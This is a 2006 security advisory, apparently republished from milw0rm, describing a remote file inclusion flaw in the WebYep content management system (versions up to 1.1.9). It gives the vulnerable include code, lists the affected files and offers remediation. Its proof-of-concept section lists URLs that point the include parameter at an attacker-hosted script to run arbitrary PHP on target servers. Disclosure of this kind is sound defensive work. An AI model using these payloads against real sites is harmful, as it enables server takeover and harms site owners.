106 lines
No EOL
3.8 KiB
Text
106 lines
No EOL
3.8 KiB
Text
ECHO_ADV_48$2006
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-----------------------------------------------------------------------------------------------
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[ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability
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-----------------------------------------------------------------------------------------------
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Author : Dedi Dwianto a.k.a the_day
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Date Found : October, 05th 2006
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Location : Indonesia, Jakarta
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web : http://advisories.echo.or.id/adv/adv48-theday-2006.txt
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Critical Lvl : Highly critical
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Impact : System access
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Where : From Remote
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : WebYep
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version : <=1.1.9
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URL : http://www.obdev.at
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WebYep is a compact Web Content Management System for extremely simple creation of editable
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web pages. It is a low priced alternative for small to medium web sites
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~
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In folder webyep-system/programm/lib found vulnerability script WYApplication.php
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---------------------------WYApplication.php---------------------------------------
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....
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<?
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include_once("$webyep_sIncludePath/lib/WYApplication.php");
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include_once("$webyep_sIncludePath/lib/WYHTMLTag.php");
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...
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----------------------------------------------------------
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Input passed to the "$webyep_sIncludePath" parameter in WYApplication.php is not
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properly verified before being used. This can be exploited to execute
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arbitrary PHP code by including files from local or external
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resources.
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Also affected files on Files:
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webyep-system/programm/lib/WYApplication.php
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webyep-system/programm/lib/WYDocument.php
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webyep-system/programm/lib/WYEditor.php
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webyep-system/programm/lib/WYElement.php
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webyep-system/programm/lib/WYFile.php
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webyepasystem/programm/lib/WYHTMLTag.php
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webyep-system/programm/lib/WYImage.php
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webyep-system/programm/lib/WYLanguage.php
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webyep-system/programm/lib/WYLink.php
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webyep-system/programm/lib/WYPath.php
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webyep-system/programm/lib/WYPopupWindowLink.php
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webyep-system/programm/lib/WYSelectMenu.php
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webyep-system/programm/lib/WYTextArea.php
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webyep-system/programm/elements/WYGalleryElement.php
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webyep-system/programm/elements/WYGuestbookElement.php
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webyep-system/programm/elements/WYImageElement.php
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webyep-system/programm/elements/WYLogonButtonElement.php
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webyep-system/programm/elements/WYLongTextElement.php
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webyep-system/programm/elements/WYLoopElement.php
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webyep-system/programm/elements/WYMenuElement.php
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webyep-system/programm/elements/WYShortTextElement.php
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webyep-system/programm/webyep.php
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Proof Of Concept:
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~~~~~~~~~~~~~~
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http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath=http://attacker.com/inject.txt?
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http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath=http://attacker.com/inject.txt?
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http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep_sIncludePath=http://attacker.com/inject.txt?
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http://target.com/[webYep_path]/webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath=http://attacker.com/inject.txt?
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Solution:
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~~~~~~
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- Sanitize variable $webyep_sIncludePath on affected files.
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- Turn off register_globals
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Timeline:
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~~~~~~
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05 - 10 - 2006 Bugs Found
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05 - 10 - 2006 Vendor Contact
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09 - 10 - Public Disclosure
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---------------------------------------------------------------------------
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Shoutz:
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~~
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~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
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~ Jessy My Brain
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~ az001,boom_3x,mathdule,angelia
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~ newbie_hacker@yahoogroups.com
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~ #aikmel - #e-c-h-o @irc.dal.net
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------------------------------------------------------------------------
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---
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Contact:
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~~~
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EcHo Research & Development Center
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the_day[at]echo[dot]or[dot]id
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# milw0rm.com [2006-10-09] |